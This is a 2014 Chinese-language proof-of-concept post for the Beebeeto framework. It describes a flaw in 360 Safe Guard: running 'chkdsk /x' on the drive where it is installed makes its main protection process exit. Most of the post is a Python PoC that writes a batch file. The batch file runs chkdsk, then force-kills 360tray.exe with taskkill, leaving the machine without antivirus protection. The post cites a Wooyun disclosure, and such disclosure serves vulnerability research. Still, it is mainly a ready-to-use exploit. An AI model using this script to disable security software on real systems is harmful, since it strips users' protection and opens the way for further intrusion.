360安全卫士chkdsk taskkill主进程 POC

Ev1l | 2014-11-25 19:55

Author:        雷蜂

测试使用Windows XP SP3,VMware Workstation 10.0.3。

经测试,如果360安全卫士(其实不止360一家)安装在非系统盘(360自身默认安装在非系统盘),

然后对其所在盘符进行chkdsk /x 操作,其主防进程360tray.exe会自动强行退出,从而完全失去保护能力。

#!/usr/bin/env python

# coding=utf-8

"""

Site: [url]http://www.beebeeto.com/[/url]

Framework: [url]https://github.com/ff0000team/Beebeeto-framework[/url]

"""

from baseframe import BaseFrame

class MyPoc(BaseFrame):

    poc_info = {

        # poc相关信息

        'poc': {

            'id': 'poc-2014-0152',

            'name': '360安全卫士安装非默认路径 chkdsk taskkill主进程 POC',

            'author': '雷蜂',

            'create_date': '2014-11-19',

        },

        # 协议相关信息

        'protocol': {

            'name': 'local',

            'port': [0],

            'layer3_protocol': [],

        },

        # 漏洞相关信息

        'vul': {

            'app_name': '360',

            'vul_version': ['*'],

            'type': 'Other',

            'tag': ['本地提权', '杀掉360主进程', 'chkdsk taskkill', '360漏洞'],

            'desc': '''

                    Wooyun Author zhuixing:

                    测试使用Windows XP SP3,VMware Workstation 10.0.3。

                    经测试,如果360安全卫士(其实不止360一家)安装在非系统盘(360自身默认安装在非系统盘),

                    然后对其所在盘符进行chkdsk /x 操作,其主防进程360tray.exe会自动强行退出,从而完全失去保护能力。

                    ''',

            'references': ['http://wooyun.org/bugs/wooyun-2014-078641',

            ],

        },

    }

    @classmethod

    def verify(cls, args):

        verify_url = args['options']['target']

        payload = '''

@echo off

chkdsk /x e:

taskkill /F /IM 360tray.exe /T

'''

        # write

        test_bat = open('./360-taskkill.bat', 'w')

        test_bat.write(payload)

        test_bat.close()

        args['success'] = True

        args['poc_ret']['vul_url'] = 'Generation ok, file: ./360-taskkill.bat'

        return args

    exploit = verify

if __name__ == '__main__':

    from pprint import pprint

    mp = MyPoc()

    pprint(mp.run())